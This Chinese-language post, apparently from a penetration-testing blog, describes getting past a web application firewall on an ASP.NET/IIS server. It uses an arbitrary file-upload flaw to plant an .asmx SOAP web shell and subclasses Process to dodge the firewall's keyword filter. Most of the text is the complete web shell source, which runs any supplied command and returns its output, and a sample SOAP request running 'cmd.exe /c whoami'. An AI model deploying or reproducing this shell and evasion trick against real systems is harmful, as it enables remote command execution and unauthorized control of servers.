近日，在遇到一个WAF，目标服务器配置如下：
1.ASP.NET
2.IIS
3.Windows
4.X WAF
5.不允许上传 ASP、ASPX、ASA、CER、....
6.任意文件上传漏洞
于是想到还有ASMX，构建SOAP接口，分享给大家以便留存
另外，WAF还拦截“Process()”，于是在C#代码里，创建了一个子类继承Process父类，然后实例化：
public class New_Process :Process
{
public New_Process(string s)
{
}
}
Process e = new New_Process("something");
POST /UploadPath/User/201908221824334713.asmx HTTP/1.1
Host: example.com
Content-Type: text/xml; charset=utf-8
Content-Length: 363
SOAPAction: "http://payloads.online/Test"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Test xmlns="http://payloads.online/">
<Z1>cmd.exe</Z1>
<Z2>/c whoami</Z2>
</Test>
</soap:Body>
</soap:Envelope>
<%@ WebService Language="C#" Class="Service" %>
using System;
using System.Web;
using System.IO;
using System.Net;
using System.Text;
using System.Data;
using System.Data.SqlClient;
using System.Collections.Generic;
using System.Diagnostics;
using System.Web.SessionState;
using System.Web.Services;
using System.Xml;
using System.Web.Services.Protocols;
[WebService(Namespace = "http://payloads.online/")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
public class New_Process :Process
{
public New_Process(string s)
{
}
}
public class Service : System.Web.Services.WebService
{
public Service()
{
}
[WebMethod]
public string Test(string Z1,string Z2)
{
String R;
ProcessStartInfo c = new ProcessStartInfo(Z1,Z2);
Process e = new New_Process("something");
StreamReader OT, ER;
c.UseShellExecute = false;
c.RedirectStandardOutput = true;
c.RedirectStandardError = true;
e.StartInfo = c;
e.Start();
OT = e.StandardOutput;
ER = e.StandardError;
e.Close();
R = OT.ReadToEnd() + ER.ReadToEnd();
HttpContext.Current.Response.Clear();
HttpContext.Current.Response.Write("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
HttpContext.Current.Response.Write("<data>");
HttpContext.Current.Response.Write("<![CDATA[");
HttpContext.Current.Response.Write("\x2D\x3E\x7C");
HttpContext.Current.Response.Write(R);
HttpContext.Current.Response.Write("\x7C\x3C\x2D");
HttpContext.Current.Response.Write("]]>");
HttpContext.Current.Response.Write("</data>");
HttpContext.Current.Response.End();
return R;
}
}